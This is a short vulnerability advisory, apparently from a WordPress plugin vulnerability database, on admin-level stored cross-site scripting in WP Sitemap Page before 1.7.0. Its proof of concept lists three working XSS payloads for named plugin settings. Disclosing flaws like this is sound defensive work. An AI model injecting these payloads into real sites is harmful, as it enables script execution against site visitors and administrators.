WordPress Plugin Vulnerabilities

WP Sitemap Page < 1.7.0 - Admin+ Stored Cross Site Scripting

Description

The plugin does not properly sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed.

Proof of Concept

Put the following payloads in the mentioned settings of the plugin:
- How to display the posts (backend XSS, v < 1.6.5): </textarea><svg/onload=confirm('XSS')>
- How to display the posts (frontend XSS, v < 1.6.6): <a style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)" href="{permalink}">{title}</a>
- Exclude pages (backend XSS, v < 1.7.0): "><script>alert(/XSS/)</script>